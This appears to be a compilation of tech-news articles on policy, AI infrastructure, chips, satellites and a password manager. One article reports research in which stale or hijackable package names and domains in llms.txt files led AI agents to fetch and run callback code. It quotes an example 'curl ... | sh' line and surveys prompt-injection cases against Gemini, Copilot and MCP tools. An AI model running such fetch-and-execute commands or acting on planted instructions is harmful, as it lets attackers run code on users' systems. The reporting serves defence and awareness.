Not only is said data collection ripe for abuse, but it's also ripe ground for data leaks that can expose users' information to malfeasants, as proven time and again by widespread breaches that have sadly become commonplace. Events involving retail chain Target, credit-score handler Equifax, and the UnitedHealth Group all leaked out millions of vital user information, later used in criminal impersonation attacks.

The EFF also argues that A.B. 1709 wouldn't help teenagers and could do more harm than good by keeping them out of "supportive online communities," as well as "deny [them] opportunities to develop their own voices and perspectives." The letter mentions that research on whether social networks are good or bad for teens is inconclusive, and that teens could have their First Amendment rights infringed as a result.

There's also a technical angle to the complaint, as the text for A.B. 1709 includes provisions that target algorithmic feeds, autoplay, endless scroll, and push notifications for users under 16. The EFF claims the bill's wording is vague enough to be interpreted as banning key standard features of social networks. Furthermore, the bill's text seems to imply that the Attorney General could be empowered to adopt more regulations in a bid to curb those "addictive" features.

Last but by no means least, the EFF notes that A.B. 1709 is "bound to be tied up in court" regardless, as already-enacted legislation from bills A.B. 1043 (pushing age verification to the device level, revealing an age bracket) and S.B. 976 (parental consent for enabling of social media features) is likely to conflict rather than complement the new bill's requirements. The bill's arguable step on First Amendment rights would likely see challenges, too. Should Governor Newsom let A.B. 1709 through, it will take effect on January 1, 2027, precisely four months from now.

PricewaterhouseCoopers LLP (PwC) estimates that spending on AI data centers could reach as much as $31.6 trillion in the next decade and a half, with optimistic outlooks suggesting that capital expenditure could potentially hit $50 trillion. Bloomberg reports that this amount exceeds the spending that railways, electrification, or the internet required when they were being set up for the first time. It also pointed out that investments in AI data center infrastructure aren’t a one-time expense that would last decades, unlike railroad networks, the power grid, or fiber optic cables — instead, data center operators are expected to purchase new GPUs and related infrastructure every four to six years.

GPU development is happening at breakneck pace, with Nvidia, AMD, and other manufacturers releasing new generations every two to three years. In fact, one Google architect said that a data center GPU service life is only about one to three years, which has got some experts concerned that GPU depreciation could be the next big crisis for hyperscalers. “Railways. Electrification. The internet. Each required enormous amounts of capital and defined an era,” the publication reiterated from the report. “The AI infrastructure cycle underway dwarfs all three. This one resets every four to six years — and shows no signs of ending.”

Nvidia and other chip manufacturers would be some of the biggest winners in this spending spree, but other hardware industries would also benefit, like networking equipment and even the copper material needed for running power inside data centers. PwC is confident in its forecast, especially as it claimed that both capital and demand for the AI build-out exist. It also broke down the investment in each region — spending in the U.S. is projected to hit $15.1 trillion, followed by the Asia-Pacific region, including China and India, at $8.2 trillion. Europe will likely spend $5.6 trillion, and it’s trailed by the Middle East at $1.1 trillion and Africa, with $255 billion.

The AI build-out is not without risks, though. The report cited power availability, data sovereignty requirements, and chip availability as factors affecting the build-out. For example, data centers in the U.S. are forecasted to consume 20% of its total power supply by 2035, which is why operators are turning to natural gas turbines for on-site power. However, this has also led to jet engine shortages, which is why SpaceX has started in-house turbine blade manufacturing to cut delivery delays by up to 18 months. It also said the geopolitical tensions, like trade bans on rare earth elements and high-end chips, could cut the global investment forecast by 20%.

There are still some concerns that the current AI boom is a bubble that will pop sooner or later. This is especially true as some AI tech companies currently have “hidden debt” worth around $1.65 trillion, while costs have started spiking as AI companies like OpenAI look for a path towards profitability. Despite that, Nvidia is still going full steam ahead, partnering with several firms to build a $500 billion AI infrastructure fund for further AI investments.

If, like mine, your gaming rig spends most of its life doing nothing these days, a pair of startups would be willing to pay you something close to minimum wage for its downtime. Abu Dhabi-based Far Labs and Austin-based Evolving Edge are building marketplaces to farm AI inference out to idle consumer hardware, according to an IEEE Spectrum report.

Far Labs plans to launch its Far AI platform in the coming weeks, claiming latency of 100 ms or less, while Evolving Edge is running an open beta. "Imagine Uber or Airbnb, but for AI inference computing tasks," Ilman Shazhaev, founder and CEO of Far Labs, told the outlet. Both companies are targeting smaller open-source models rather than frontier-scale workloads, and they’re joining established players, including the Utah-based Salad platform, which lists more than 60,000 daily active consumer GPUs on its network.

Far Labs’ proprietary scheduler splits a model into pieces spread across multiple machines, and an orchestrator and a load balancer then reassemble the partial outputs into a response. Evolving Edge distributes jobs with Ray, the open-source framework used inside conventional data centers.

Letting a stranger’s workload onto a personal machine obviously comes with some risks for hosts, such as malicious code ending up on the device or the person on the other end gaining access to local files. The two firms’ solution to this is isolation, with inference running as a sandboxed workload with encrypted communication and hard limits on GPU, CPU, memory, storage, and network access. Customers get no direct access to the host machine, and Evolving Edge has open-sourced its node software so hosts can audit what runs on their hardware.

Salad sells consumer-GPU compute to customers for prices starting at $0.02 per hour, and the card’s owner only sees a slice of that… pie after the platform takes its cut. We examined Salad in 2021, back when its network mined Ethereum, estimating that the company had generated roughly $3.6 million from users' PCs while distributing $500,000 in rewards, which works out to about 14 cents on the dollar for the people supplying the silicon.

Electricity costs then chew through whatever's left. An RTX 4090 draws 350W to 450W under sustained load, roughly $40 to $50 a month at $0.15 per kWh if the card runs around the clock, so a rig earning less than that is effectively paying for the privilege of having a job. However, IEEE Spectrum's report doesn't include payout rates for either new platform.

Both founders make the point that distributed networks ride out failures that otherwise cripple centralized clouds. John Federico, founder and CEO of Evolving Edge, cited the AWS outage last October that left Internet-connected smart beds stuck in their upright positions, and told IEEE Spectrum his network could lose 100 of 250,000 nodes “and it wouldn’t matter.”

All that aside, distributed AI compute has a credibility problem to overcome. A research preprint from June claimed that Pearl, a blockchain marketed as converting cryptocurrency mining into AI work, ran the equivalent of 320,000 RTX 3090-class GPUs on random matrix math while producing no useful AI computation. Far Labs and Evolving Edge route real customer inference jobs rather than token rewards, which puts them a step ahead of that model, but their cost and latency figures are unsubstantiated claims until, and if, the networks operate at scale.

Researchers have managed to execute code within an "llms.txt" file that many large companies use to instruct AI agents on how to scrape the website correctly. Back when the internet exploded and search engines became popular, sites started publishing a "robots.txt" file to guide search bots to content. That's still widely used today, but it's now been supplemented with "llms.txt", a file containing textual instructions for AI agents to follow.

The experts from Pandex got their own code to run on AI agents from "companies you have definitely heard of" in the Fortune 500 list, and illustrated yet another way in which the once-sacred distinction between "data" and "code" is all but dead.

The purpose of llms.txt is straightforward: it's often hosted on a software product's website and contains a brief description, setup instructions, and quick installation steps — think of the usual README file, but written for agents. When a bot reaches the website, instead of spending precious tokens and context window space parsing the whole documentation, it reads llms.txt and immediately knows how to operate the code in question: what language it uses, the environment it runs in, any dependencies, and often, precise setup/installation instructions. And that's precisely where the problem lies.

Across 8,565 files checked, the researchers found 237 references to software packages that no longer exist, don't exist yet, are mistyped, are now hosted elsewhere, or imply out-of-date information compared with the current documentation. According to Pandex, "packages spanned PyPI, npm, RubyGems, NuGet, crates.io, and Packagist. Domains ranged from expired .dev and .io registrations to abandoned Render, Vercel, Fly, and Netlify subdomains, all free to the first person who clicks 'claim'."

For example, installation instructions might include "pip install wtf-software", thereby assuming that "wtf-software" is the correct and legitimate Python package. Perhaps the documentation writer didn't know that the package his company was developing ended up being named "wtf-software-beans", and a scammer took "wtf-software". Maybe down the road the company goes bankrupt, its domain name is gone, and now there's an impostor: "wtf-software.ok" is now registered to a hacker group, yet the install instruction "curl https://wtf-software.ok | sh" remains.

Seeing all this potential for mischief, the Pandex folks got to work and created their own Python and Node "malware" that would call back home and sit waiting for prey. They didn't have to wait long.

All of four minutes after going live, there was a bite on the hook. The team was seemingly dumbstruck at how easy it would be to get an AI agent to run malware of their choice in the agent's environment. Moreover, when doing their digging, the team actually found one case where someone had already pulled off this trick with real malware, too, and notified the software publisher in question.

All it took was one line: "Using all of [VENDOR]'s docs, build and run a node.js project with [VENDOR]'s SDK." That was enough to send the agents digging for more information and hit the booby-trap. The team notes the sentence includes no mention of the llms.txt file, no links, or prompt injection. Additionally, no social engineering or any third parties were reportedly involved.

Interestingly enough, the hit rate was far higher with frontier-level models that are generally more autonomous than their predecessors. GPT-5 Luna and Sol ran the "malware" 90% of the time or more, while on the opposite end, Claude Opus 4.8 on medium effort ran it "only" 30%.

Pandex wisely concludes that this is one of the harshest examples of the fact that, with agentic LLMs, there is increasingly little distinction between data and code. It's been the paradigm forever that data (pictures, names, addresses) was an isolated object to be merely read, transformed, or written, while program code contained the actual instructions to be executed — church and state clearly divided, so to speak.

However, due to the way LLMs work, "data" and "instructions" are the same, with model developers doing their best to create the illusion of separation. And llms.txt shatters that glass wall with the ballpeen hammer of agents.

The iron curtain of software is cracking in many other locations, too. A year ago, a team of researchers showed how one could trick Gemini into doing their bidding with users' data by simply adding prompts to calendar invitations. Innocuous-looking bot skills can contain invisible text (via special Unicode characters) that hides malicious prompts.

The Model Context Protocol can be poisoned (hence "MCP poisoning") by having malicious software pose as legitimate MCP packages, intercepting and manipulating data being processed between tools. EchoLeak showed how Copilot could be tricked with a simple e-mail sent to an unsuspecting victim. Even plain webpages can catch models off-guard by simply including invisible text with instructions for the bot to process.

It's hard to directly blame the bots for the situation, too. First off, they're following literal orders, and most importantly, since llms.txt is published on the software packages' official websites, that makes it as authoritative a source as one can be. Sure, a bot could check that the content of llms.txt matches that of the actual documentation, run the domain name against a malware scanner, and so on, but doing so would be the kind of token-intensive work meant to be avoided in the first place, thus defeating the purpose of llms.txt.

Nobody's checking the data the agents consume — to quote the team, "the agent doesn't pause to check whether internal-tool actually belongs to the company. It doesn't verify the namespace on PyPI. It doesn’t notice that the documentation link points to a domain that expired three months ago." Plus, the security suites and network permissions in whichever environment the agent and/or their handler are in probably have the major package repositories all whitelisted.

The fact that many software ecosystems are subject to a high level of churn doesn't help matters. An analysis of 13 million packages showed that around 30% to nearly 60% of packages across the Node.JS, Go, and .NET worlds lost development activity within two years of their release — nasty figures, even if they include packages that are actually stable, just not frequently updated. Each abandoned package can be mentioned in an llms.txt file that didn't get updated.

Then, there's the problem that llms.txt itself is not a user-facing file. The file doesn't appear in a user's browser, and therefore, its update likely gets forgotten or indefinitely postponed.

The constant rush-to-market mentality of the modern age and the ease with which one can ask a bot to write and publish code likely doesn't help. It's exceedingly easy to kick off a new product and preemptively create documentation with placeholder names to fix later... that aren't. In big corporations, the person responsible for writing the documentation might not be the same person who does the code, while a third person might be responsible for checking everything afterward.

And in a twist of irony, any or all of these people will be using LLMs and end up subject to slopsquat/hallusquat attacks, in which the bot writing documentation or project code hallucinates predictable package names that malfeasants can calculate and squat ahead of time.

Supply-chain attacks became increasingly common as contemporary high-level languages allowed for faster development speed but also increased package and business churn. Now with agents in the mix, the situation is likely to get worse before it gets any better. As Microsoft's Mark Russinovich et al stated, "there is no simple 'fix' for these behaviors", an assessment supported by the fact that a lot of high-level contemporary development is targeted at the problem.

China's ability to produce lithography tools is comparable to that of market leader ASML sometime in 2004, an analyst with UBS wrote in a note to clients. The situation may change in the next two or five years when Chinese companies start producing immersion DUV lithography systems in mass quantities, and Chinese chipmakers begin to deploy them for production of actual chips. However, China's semiconductor industry will remain well behind Western industry. "They seem to be at a similar stage to ASML in 2004," wrote Francois-Xavier Bouvignies, an analyst with UBS, in a note for clients, reports Bloomberg.

For years, China's pursuit of semiconductor self-sufficiency stemmed from its ability to produce mainstream chips on trailing nodes using fairly advanced, though not the latest, tools from leading producers such as ASML, KLA, and Lam Research. In recent years, China found itself in a new reality in which it could no longer obtain the latest chipmaking tools and had to build them domestically. Although companies like ACM Research, AMEC, and Naura have developed world-class chemical wafer deposition, cleaning, etching, and oxidation/diffusion tools that are now mass-produced and used by Chinese chipmakers, none of the Chinese companies have managed to develop a competitive lithography machine that can be used to make chips on more or less modern nodes and initiate its mass production.

Photolithography is generally considered the most technologically complex and demanding individual process in advanced semiconductor manufacturing. Firstly, lithography systems themselves are extraordinarily complex and contain tens of thousands of individual components. Secondly, the required positional accuracy is extraordinary, as a modern lithography scanner needs excellent resolution, overlay, focus control, scanner-to-scanner matching, CD uniformity, and line edge roughness, just to name some of the requirements. Finally, a competitive litho system must guarantee predictable uptime, defect density, and performance. Perhaps the key thing here is that all of the required features must be achieved without compromises, as, for example, a machine with high resolution and ideal uniformity that can process one wafer per hour cannot be used for mass production.

Historically, over a dozen companies produced lithography tools. However, as they became more complex, only ASML, Canon, and Nikon survived, with ASML being the undisputed market leader and the only maker of EUV lithography scanners.

As China is essentially developing a parallel semiconductor ecosystem, there have been reports of multiple entities working on lithography systems, including Shanghai Micro Electronics Equipment (SMEE), AMIES (which seems to be a SMEE spin-off that includes Aishengna and Yuliangsheng units), SiCarrier (reportedly controlled by Huawei), and even Naura (which denies that it is developing litho tools). SMEE, which was established in 2002, is by far the most important established Chinese manufacturer of litho tools. Meanwhile, so far none of China-based makers of lithography have established mass production of immersion DUV scanners capable of producing chips at 45nm and below.

SMEE reportedly formally introduced its first immersion DUV lithography system called SSA/800-10W and capable of making chips on nodes down to 28nm back in 2023. However, there have been no evidence that SMEE has indeed started mass production of the SSA/800-10W and that it has been adopted by a single manufacturer for mass production of chips. While it is conceivable that not all chipmakers announce deployment of breakthrough tools, especially keeping in mind that Chinese vendors like SMEE have plenty of foreign suppliers, we would have seen at least some indirect evidence (starting from procurement/acceptance records as well as component orders all the way to job postings and scientific papers) that SMEE started shipments of the SSA/800-10W in 2023 – 2024 by now, assuming of course that there were any shipments.

Interestingly, but the reports about China-made immersion DUV scanners now mass-produced by Shanghai Aishengna Electronic Technology Group (a unit, or an affiliate of SMEE) re-emerged this July, again, without any evidence. This time around, the reports did not even mention targeted nodes or throughput capabilities. To make matters even more suspicious is the lack of reports about shipments of evaluation tools to chipmakers (like ASML does this with its High-NA EUV machines) as well as preliminary results of their process qualifications (like Intel does with ASML's High-NA EUV machines).

For a first-ever Chinese immersion scanner, it is reasonable to expect Chinese chipmakers to use it on engineering wafers, characterize it against ASML machines, develop recipes, identify drawbacks, and pass that information back to SMEE, something that should take about a year. Only once that first machine performs adequately does it make sense to order and qualify multiple SSA/800-10W units for mass production. In fact, such qualification will likely take another year for a single layer and more time for additional layers. To that end, an insertion of an all-new lithography scanner into an existing flow will take at least two years, but likely more. To that end, once SMEE (or its business units) and its customers figure out how the first Chinese immersion scanner should work, these scanners will still be far from mass deployment.

In any case, without any real indicators that Chinese makers of wafer fab tools can produce and ship immersion lithography scanners to customers, we can only state what the UBS analyst did: China's lithography industry is in a position where ASML was in the mid-2000s.

The Oklahoma Office of the Attorney General commanded the City of Claremore to release body cam footage requested by farmer Darren Blanchard and his legal team without charging them $17,125.44. According to 404 Media, the city is asking for that amount so that it will release information on Blanchard’s arrest in April 2026 for speaking 30 seconds longer than the allowed time during a public consultation for a proposed data center in the area, as well as city records of previous disturbances in other public meetings. This led Kate Griffin, one of the farmer’s lawyers, to complain to the Oklahoma Attorney General, which looked at the situation.

Claremore justified the fees by saying that it would need to spend $16,540.44 for a legal review of requested records “to ensure that all information which must be withheld relating to members of the public and the City’s personnel is redacted in order to protect their privacy.” It’s also asking for $585 — equal to the 15-hour pay of a city clerk — to conduct the search of the documents.

“The City knows and is aware that any documents released to Mr. Blanchard and to those associated with him, regardless of the privacy implications of individuals named in such documents, are subject to wide distribution, including on social media,” Claremore said in its response to the Oklahoma AG. It also added, “Her persistence in maintaining an overly onerous request demonstrates that this dispute has nothing to do with transparency and likely has everything to do with causing excessive time/money expense to the City in order to generate public sympathy for her client and negative publicity for the City.”

However, Assistant Attorney General for Oklahoma Anthony Sykes said that this isn’t a valid reason to charge Blanchard thousands of dollars for this request. He said that the state’s law says that public bodies can only charge for the direct costs of searching and copying data when it comes to information requests. More than that, all the fees being charged must be disclosed publicly beforehand.

“The City has not posted a schedule of fees as required by the Open Records Act. Having failed to give the requisite notice of the fees charged for public access to City records, the City is foreclosed from charging search fees,” Sykes said. “If I were to conclude otherwise, there would be no incentive for public bodies to comply with the statute. They could simply ignore what the ORA requires and charge what they deem reasonable on a case-by-case basis.”

Another justification the city used for the egregious fees is the need to redact the body cam footage “to protect the privacy of the public and City personnel.” However, the assistant attorney general said that the incident happened at a public meeting with no reasonable expectation of privacy. Because of this, the city should hand over the requested data as soon as possible.

Blanchard is being charged with trespassing, a municipal crime with a penalty of just $200, making these charges very steep by comparison. Even though it might’ve been easier to plead guilty and pay the fine, the farmer is fighting the city on the grounds that it’s violating his right to free speech.

This isn’t the only arrest across the country that’s related to resistance from data center projects. A Kansas teacher was arrested in July 2026 for lightly clapping at a meeting in support of a speaker after they finished speaking, although the town eventually dropped the charges against them. In fact, as of August 2026, at least 37 people have been arrested for protesting against data centers.

The entire second batch of Russian Rassvet satellites have failed to reach their target operational altitudes, reports the U.S.-based Institute for the Study of War (ISW), citing data from live satellite tracker N2YO. They were supposed to reach an operational altitude of 870 kilometers, but “many of these satellites ended up at altitudes between 300 and 400 kilometers, and some are experiencing orbital decay,” notes the source. Moreover, two of the second batch are already on their fiery return journey to Earth.

We’ve been watching the progress of Rassvet, the Russian homebrew alternative to Elon Musk’s Starlink, with some interest in 2026. Russia accelerated its state-funded satellite internet development after access to Elon Musk’s solution was removed, when a new whitelist user-access system was implemented (after some prior ineffective Russia-blocking efforts).

Developed by a private aerospace outfit called Bureau 1440, the Russians aim to expand the Rassvet constellation to 900 satellites by 2035. There’s still a very long way to go to hit that target. In March we reported on the launch of the first 16 Rassvet satellites. In June we followed up with news that one of them, dubbed ‘Object 4,’ had dropped out of orbit already. The ISW now says that only 12 of the first batch actually reached their anticipated altitudes. Running at lower altitudes will mean reduced lifespans as the lower-altitude satellites require more fuel.

The second set of 16 Rassvet satellites was launched in mid-June. Reports indicate that none of the second batch have reached their anticipated altitudes, so things don’t look good for this project. The ISW reckons that Russia will need at least 200 to 300 fully operational Rassvet satellites to achieve stable connectivity over Ukraine 24/7. Rassvet as it stands offers two up-to-90-minute connectivity windows a day over Ukraine. Meanwhile, Ukraine’s strategists surely have Russian satellite production and launch facilities on targeting lists. It looks like Russia’s interim target of 250 operational Rassvet satellites sometime in 2027 will have to be revised.

A developer has taken to social media to praise his revitalized smart TV, optimized to work better-than-new thanks to Claude Code. Mert Cobanov, currently a Senior AI Engineer at Refik Anadol Studio, chatted with other Twitter/X users about his "unbelievable" fast and smooth TV experience (machine translation). Moreover, the dev has created a Clean up your Android TV site to help others implement the same optimizations.

Sadly, I understand Cobanov’s inspiration for smart TV debloating. TV makers often offer screens with laggardly processors, meager amounts of RAM, and slow storage. When new, they may already be sluggish performers, but after app and Android TV updates (if you actually get OS updates), system performance can get even worse. This makes a market for set-top boxes and HDMI sticks, such as the Amazon Fire TV line. However, that’s extra complexity and more devices/remotes for end users. Not ideal.

"This morning, I opened the developer options on my Android TV and told Claude to connect to the TV via ADB and debloat it," wrote AI engineer Cobanov on X. "It started controlling the TV, deactivated apps, installed FLauncher. Shortened animation durations. Doing all this without root access, by the way." The big payoff was that the TV now runs smoother than when it was new, four years ago, asserts Cobanov. "It's unbelievable. You should definitely check it out," readers are encouraged.

The how-to web page that this project precipitated is pleasantly brief. There are just four steps required to spring-clean your TV OS. Then, the whole prompt Cobanov wrote to get Claude Code (or Codex) to work its magic is included for you to copy/edit.

There are warnings associated with this process, which you should pay attention to if you are going to do this with your own one-eyed monster. However, Cobanov says that if you follow his guide, "Nothing is uninstalled, so every step can be reversed. The agent keeps a list of what it disabled, so telling it ‘re-enable everything you disabled’ is enough." Instructions are also provided to bring back any single app that you may regret wiping during the debloating process.

Nvidia and MediaTek this week announced a major expansion of their partnership under which Nvidia is investing $3.5 billion in convertible bonds issued by MediaTek, while the latter adopts NVLink Fusion platform for its custom AI accelerators, local AI systems, and automotive platforms. On the one hand, MediaTek's adoption of NVLink Fusion enables it to design accelerators for Nvidia's fully developed rack-scale platforms. On the other hand, Nvidia gets a slice of the growing market of custom AI accelerators.

Having become the world's largest supplier of AI accelerators, Nvidia does not have direct rivals of comparable size. However, in a world where custom AI accelerators are becoming more widespread as more companies see benefits in bespoke solutions, Nvidia must hedge against their rise and ensure that its addressable market expands even if it does not win every accelerator design. One of the ways to achieve this is to spread its NVLink Fusion platform beyond its own products and to popularize it among users of custom hardware. The deal with MediaTek is aimed at exactly that.

AWS, Google, Meta, Microsoft, and now OpenAI are developing their own AI accelerators partly to reduce dependence on expensive merchant GPUs. Nvidia cannot necessarily prevent this trend, so NVLink Fusion gives it another strategy: if customers replace some Nvidia GPUs with their own XPUs, Nvidia wants those XPUs connected using NVLink, paired with Nvidia CPUs where appropriate, and deployed within Nvidia networking and rack architectures. Under the new arrangement, customers can bring an XPU architecture to MediaTek, then MediaTek and Nvidia will supply much of the technology surrounding the actual compute engine.

MediaTek will use NVLink Fusion as the foundation for custom accelerators that can evolve alongside future Nvidia architectures. The platform includes the NVLink Fusion chiplet, which connects custom XPUs to Nvidia's NVLink scale-up fabric using electrical or photonic interconnects; NVLink-C2C, which provides high-bandwidth, energy-efficient links between XPUs, Nvidia Rosa CPUs, and other compatible processors; and Nvidia NVHBM, which enables customized memory configurations and reserves more silicon area for compute.

Using Nvidia's NVLink Fusion platform for custom AI accelerators enables potential MediaTek customers to concentrate on their differentiated compute architecture while Nvidia and MediaTek provide connectivity, memory architecture, packaging, manufacturing, and rack-level technologies. Essentially, MediaTek's customers will get a pre-developed rack-scale platform for their custom AI accelerators, something they cannot get elsewhere. Since Nvidia tends to supply AI infrastructure platforms, not just AI accelerators, the deal with MediaTek fits perfectly into its strategy.

It should be noted that while hyperscalers like AWS, Google, or Microsoft can develop their own rack-scale solutions for AI and other workloads, smaller companies barely have enough resources to develop the whole rack-scale machine using off-the-shelf components.

"MediaTek is one of the world's great semiconductor companies, with exceptional expertise in system-on-chip design, connectivity, leading performance and power efficiency," said Jensen Huang, founder and CEO of Nvidia. "Together, we are building platforms that bring Nvidia accelerated computing to new markets and give customers the freedom to create differentiated AI systems at enormous scale."

The companies are also expanding their work on local AI computing. MediaTek previously collaborated with Nvidia on the GB10 Grace Blackwell Superchip powering DGX Spark. The collaboration was considered positive, so Nvidia and MediaTek now plan to cooperate on multiple generations of RTX Spark and DGX Spark processors for client systems, AI developer supercomputers, and enterprise workstations.

Finally, Nvidia and MediaTek will continue their multi-generation automotive collaboration. MediaTek's Dimensity Auto platforms integrate Nvidia AI technologies and RTX graphics for intelligent vehicle cockpits and can operate alongside Nvidia Drive AGX. Future generations will continue to wed MediaTek's automotive SoC expertise with Nvidia's accelerated computing, AI, graphics, and software technologies to build more advanced software-defined and AI-powered vehicles.

A court in Dongguan, China, has frozen 2.14 billion yuan (roughly $318 million) in assets held by Dutch chipmaker Nexperia and its equipment arm, ITEC, according to a filing that Chinese parent company Wingtech Technology submitted to the Shanghai Stock Exchange today. The order covers Nexperia's equity in five Chinese subsidiaries and runs until August 2029, handing Wingtech fresh leverage in its year-long fight to regain control of Nexperia that Dutch authorities stripped from it in 2025.

The Dongguan Intermediate People's Court civil ruling, which Wingtech said it received on August 28, freezes Nexperia B.V.'s 100% stakes in Nexperia Semiconductor (China), Nexperia Semiconductor (Wuxi), and Nexperia Semiconductor (Shanghai), plus its 99% holding in Nexperia Semiconductor Technology (Shanghai). A fifth order covers ITEC B.V.'s full stake in its equipment subsidiary, ITEC Technology (Wuxi). The underlying case, an 8 billion yuan (roughly $1.19 billion) damages claim that Wingtech filed in May against Nexperia, its holding company, ITEC, and three executives, hasn't gone to trial.

Those five entities are the same Chinese operations that stopped following instructions from Nexperia's Nijmegen headquarters in October last year, when Nexperia accused them of refusing payment for delivered wafers and opening unauthorized bank accounts. Nexperia says it has no control over those businesses today, and the court order now bars any sale, transfer, or restructuring of their equity for three years. Any settlement of the wider ownership dispute that involves carving up Nexperia's China assets can't close before August 2029 unless the Dongguan court first suspends the asset freeze.

In that May complaint, Wingtech named chief legal officer Ruben Lichtenberg, chief operating officer Achim Kempe, and Stefan Tilger, the CFO who has led Nexperia as interim chief executive since a Dutch court suspended founder Zhang Xuezheng last October. It alleges that the trio implemented or helped enforce discriminatory restrictive measures imposed by the Netherlands, whose government briefly seized control of Nexperia before suspending its intervention last November.

The total value of the frozen assets exceeds Wingtech’s entire first-half revenue, with the company reporting 1.51 billion yuan in H1 2026 sales, down more than 90% year-over-year, alongside a 406 million yuan net loss. Its shares trade under Shanghai's *ST delisting-risk designation after auditor RSM couldn't verify 57% of its assets, most of which are inside Nexperia entities that Wingtech can't access. Nexperia China, meanwhile, has been qualifying domestic wafer suppliers and producing chips on 12-inch wafers.

In a statement to Bloomberg, Nexperia said that the measures relate "solely to entities in China that have been operating outside Nexperia BV's governance structures" and don't affect its day-to-day operations, management, or business continuity.

A new local‑only password manager, notes app, and secure vault that hides your secrets in an ordinary-looking .PNG image file is now available. BlindLock does all this and more with an option to bind to your hardware using TPM2.0, Secure Enclave, or StrongBox. No cloud storage or central vault account is required, and the dev is selling lifetime licenses at $49 (for now). There is an interactive online demo, with nothing uploaded or downloaded, as well as a downloadable full 7-day demo available.

BlindLock’s solo developer David Domingo indicates that one of the main drivers behind his efforts to create this application was the theft of customer vault backups from LastPass in late 2022. What happened to LastPass could have also happened to 1Password, Dashlane, even Proton Pass, reckons Domingo. “When your vault sits on someone else's server, you inherit every risk that server carries: employee access, infrastructure vulnerabilities, government subpoenas, supply chain attacks, and the simple mathematical reality that a server holding tens of millions of vaults is a far more attractive target than your laptop,” says the BlindLock dev on his blog.

So, three independent layers of security apply to your BlindLock vault. It is invisible in its ordinary-looking PNG carrier, not just encrypted. BlindLock doesn’t run a central vault database, so there is nothing for attackers to steal from BlindLock servers and crack later. Your resting vault file uses 256-bit authenticated encryption and already includes NIST post-quantum components. It is also bound to your device. “The vault opens only when three things match: the carrier file, your master password and your authorized device,” asserts the BlindLock app page. “A copied file alone is not enough to gain access.”

BlindLock’s feature set is pretty broad for a new offering. Fully encrypted inside your chosen .PNG holiday snap or cat photo is a password manager, Markdown-supporting secure notes, a built-in 2FA authenticator, and an encrypted file vault (for any type of file), and there is support for an optional fourth-factor security key like a YubiKey or Google Titan, etc.

Accessing your BlindLock data requires three things at once: the carrier file, your master password, and the authorized device - the vault key is sealed to that device's security chip, which is TPM 2.0, Secure Enclave, or StrongBox depending on the platform. You can avoid overly bloating your central .PNG file by squirreling larger files separately in their own encrypted containers. BlindLock employs a hidden volumes system not unlike VeraCrypt for these containers. Domingo admits these are “not magically unfindable,” but are Argon2id-hardened, 256-bit authentication-encrypted and stored inconspicuously. For device loss or migration, users must create an encrypted BlindLock backup and keep its recovery phrase separately.

As per the intro, BlindLock is being introduced as a one-time $49 purchase. This perpetual pricing plan only applies to the first 1,000 licenses. There will be three waves: “the first 100 at $49, the next 350 at $89, and the final 550 at $109. After that, BlindLock is subscription-only,” says Domingo. The independent dev wants to lay a solid financial foundation, so development of BlindLock can continue.

This article is merely sharing the news about BlindLock and shouldn't be taken as a recommendation. Please check out the online and downloadable demos and judge whether it works for you and offers the features you want for the price.

Samsung has unveiled a three-phase roadmap to progressively transform high-bandwidth memory (HBM) into an integrated memory-and-compute system, culminating in the company's zHBM architecture, which places the processor directly beneath the DRAM stack and eliminates the conventional 2.5D interposer link between the two. Detailing the roadmap at Hot Chips 2026, Samsung's Sangwook Han, of the company's DRAM design team, identified the base die as the key enabler of the evolution, which began with the company’s decision to manufacture the HBM base die on an advanced logic process.

In conventional HBM, the base die (B-die) was fabricated on the same DRAM process node as the core dies (C-dies) in the stack above. Starting with HBM4, Samsung moved the base die to a 4nm logic process, primarily to reduce power draw and minimize die area. Additionally, it gave Samsung a much more capable piece of silicon.

The company contends that a die built on the same class of logic process as XPUs could do much more than serve as a data interface. Samsung now plans to progressively offload more functions into the base die, eventually removing the physical gap between memory and the XPU entirely.

The current state of HBM and its growing constraints

The current HBM architecture comprises multiple DRAM core dies stacked vertically on a base die and connected through thousands of TSVs. The stack sits beside an XPU on an interposer, with the base die bridging the memory and compute silicon.

Bandwidth has been the main driver of HBM’s evolution. The current HBM4 stack has roughly 1 to 5 TB/s of bandwidth obtained through 1,000 to 2,000 I/Os running at about 8 to 16 Gbps each. These figures are expected to rise with upcoming HBM generations. The problem is that conventional ways of scaling bandwidth present significant challenges.

TSV signaling speed is difficult to increase, so HBM generations have added more TSVs instead. However, this consumes area and forces tighter TSV pitches. The PHY has also grown more demanding. HBM4 doubled the data I/O count from 1,024 to 2,048 DQs, and signaling speed keeps rising. Power is an even bigger issue. While energy per bit is improving, total HBM power continues to rise as bandwidth is scaling faster. Samsung says this is why HBM4 moves the base die to an advanced logic process, as the denser, more efficient logic reduces power draw.

This move underpins and enables the three-phase plan. An advanced logic node shrinks the interface circuitry while enabling the HBM base die to perform functions previously handled by the processor. Samsung calls this direction custom HBM, or cHBM, which keeps the conventional DRAM stack but customizes the logic underneath it for a specific accelerator.

Phase 1: Reclaim XPU area

The first phase is about handing processor area back to compute in what Samsung calls “XPU area reclamation.” AI accelerators are hitting familiar scaling walls, such as slowing process scaling and dies pressing against reticle and interposer limits. To expand compute, Samsung plans to evict non-compute blocks, moving their functions to the base die’s underutilized silicon.

The first target is the HBM Physical Interface (PHY), one of the largest blocks on the base die. Samsung proposes replacing the traditional interface with a much smaller die-to-die (D2D) link. On an 11 × 12.8mm HBM4 base die, the conventional PHY occupies more than 8 × 4mm, while the custom HBM D2D block is about 8.5 × 1.5mm, with channel depth cut from 5.5mm to 2mm. Because the matching interface on the XPU shrinks too, Samsung also reclaims processor silicon.

Conversely, shrinking the same power into less silicon increases power density and creates hotspots. Samsung’s answer is a Heat Path Block (HPB) that provides an alternative route for heat to exit the concentrated interface region. The company says an HPB covering more than half of the PHY can slash peak temperature by more than 35%.

The bigger Phase 1 change is moving the memory controller from the XPU to the custom HBM base die. Han estimated controllers account for 5 to 10% of an XPU's area — space that, refilled with compute, could yield a 10–20% performance gain. Moving the controller next to memory also enables a new SRAM-based repair scheme in which failed C-die addresses can be redirected to SRAM on the base die, avoiding the need to sacrifice an entire spare row or column for a single defective cell.

Phase 2: Making the die a more useful smart memory subsystem

Even with the controller moved in, Samsung says a substantial portion of the base-die area remains unused. Phase 2 fills that space with more functions, first with some relatively straightforward additions. The company proposes SoC-like telemetry and reliability features, including thermal, voltage, process, and aging sensors, as well as more advanced self-test hardware.

